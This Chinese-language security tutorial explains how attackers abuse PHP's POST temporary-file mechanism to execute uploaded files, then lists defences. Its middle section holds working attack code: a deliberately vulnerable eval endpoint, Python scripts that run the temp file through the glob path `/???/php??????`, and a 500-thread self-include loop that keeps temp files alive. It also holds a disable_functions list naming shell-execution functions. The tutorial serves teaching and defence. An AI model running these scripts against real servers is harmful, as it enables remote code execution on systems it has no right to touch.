在PHP中,POST请求上传文件是常见的功能,但如果处理不当,攻击者可以利用PHP的POST临时文件机制,实现任意文件上传。这不仅带来严重的安全隐患,还可能导致服务器被入侵。本文将详细讲解这种攻击方式的原理和防御措施,并通过实例展示攻击过程。
PHP文件上传机制简介
在PHP中,当通过POST请求上传文件时,即使代码中没有明确处理文件上传的逻辑,PHP也会自动将文件保存为临时文件。该文件默认存储在/tmp
目录中,文件名为php[6个随机字符]
,例如phpG4ef0q
。若请求正常结束,临时文件会被自动删除;但如果请求异常结束,临时文件可能会被永久保留。
攻击原理
在文件包含漏洞中,当无法找到可以利用的文件时,攻击者可以利用PHP的临时文件机制,通过上传文件获得临时文件名,并进行文件包含攻击。以下是几种获取临时文件名的方法:
- 通过
$_FILES
数组获取 - 通过
phpinfo
页面获取 - 通过
glob
函数获取
上述介绍看似简单,但存在一些潜在的安全问题。攻击者可以利用这些漏洞上传任意文件,从而在服务器上执行恶意代码。主要的攻击手段包括:
- 绕过文件类型检查:攻击者可以上传带有合法扩展名的恶意文件,比如一个包含PHP代码的图片文件。
- 文件覆盖:攻击者可以上传一个与已有文件同名的文件,从而覆盖原有文件。
- 文件路径注入:攻击者可以通过操控文件名实现目录遍历,上传文件到任意位置。
通过$_FILES
数组获取
当上传文件时,PHP会将文件信息存储在$_FILES
数组中。攻击者可以通过该数组获取临时文件名。
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
通过phpinfo
页面获取
phpinfo
页面会打印当前请求上下文中的所有变量。攻击者可以向phpinfo
页面发送包含文件的POST请求,从返回包中获取$_FILES
变量的内容,从而获得临时文件名。
完整的安全文件上传代码
结合上述防御措施,以下是一个完整的安全文件上传示例:
<?php
$target_dir = __DIR__ . '/uploads/';
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
}
$filename = basename($_FILES["fileToUpload"]["name"]);
$filename = uniqid() . '-' . $filename;
$target_file = $target_dir . $filename;
$uploadOk = 1;
// 检查文件大小
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// 检查文件MIME类型
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["fileToUpload"]["tmp_name"]);
finfo_close($finfo);
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime_types)) {
echo "Invalid file type.";
$uploadOk = 0;
}
// 检查$uploadOk是否被设置为0
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". htmlspecialchars($filename). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
通过glob
函数获取
如果上述方法无法实施,攻击者还可以通过Linux中的glob
通配符定位文件。glob
函数支持多种通配符,用于匹配文件名。
* :代替 0 个或 任意个字符
? :代替 1 个字符
[...]:匹配其中一个字符,例 [a,b,c] 匹配字符 a / b / c
{a, b}:匹配 a 或者 b
利用临时文件进行攻击
组合请求
攻击者可以将文件上传和执行shell组合在一个请求中,利用临时文件执行恶意代码。以下是一个示例PHP代码:
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>
利用Python脚本上传文件并执行shell命令:
# run.sh 文件内容:
# echo $PATH
import requests
# 上传文件同时,执行 shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
# 输出结果:
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
延长临时文件存在时间
某些情况下,无法将上传文件和执行shell组合在一起。攻击者可以通过文件包含让PHP自身包含自身,导致死循环,从而延长临时文件存在时间。这可以通过编写并发脚本,不断发起POST文件请求来实现。
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
在请求过程中,磁盘中总会存在尚未被删除的临时文件,直至请求停止,文件才被全部删除。此时,攻击者可以在其他地方使用glob
路径通配符加载临时文件。
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# 输出结果:
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
防御措施
为了防止上述攻击,需要采取一系列防御措施:
- 严格验证上传文件类型和大小
- 对上传的文件名进行处理
- 限制上传文件的存储目录
- 禁用危险的PHP函数
严格验证上传文件类型和大小
通过MIME类型和文件内容检查,确保上传文件符合预期。
<?php
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["fileToUpload"]["tmp_name"]);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
echo "Invalid file type.";
exit;
}
// 检查文件大小
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
exit;
}
?>
对上传的文件名进行处理
生成唯一文件名,避免文件覆盖和路径注入。
<?php
$filename = uniqid() . '-' . basename($_FILES["fileToUpload"]["name"]);
$target_file = __DIR__ . '/uploads/' . $filename;
?>
限制上传文件的存储目录
将上传的文件存储在受限目录,避免目录遍历。
<?php
$target_dir = __DIR__ . '/uploads/';
if (!is_dir($target_dir)) {
mkdir($target_dir, 0755, true);
}
?>
禁用危险的PHP函数
禁用eval
等危险函数,防止代码执行漏洞。
disable_functions = "eval,exec,shell_exec,passthru,system"
结论
通过本文的讲解,我们了解了PHP的POST临时文件机制,以及攻击者如何利用该机制实现任意文件上传。通过严格验证文件类型和大小、处理文件名、限制存储目录和禁用危险函数,可以有效防止此类攻击。希望开发者在实现文件上传功能时,能充分考虑安全性,避免潜在的安全隐患。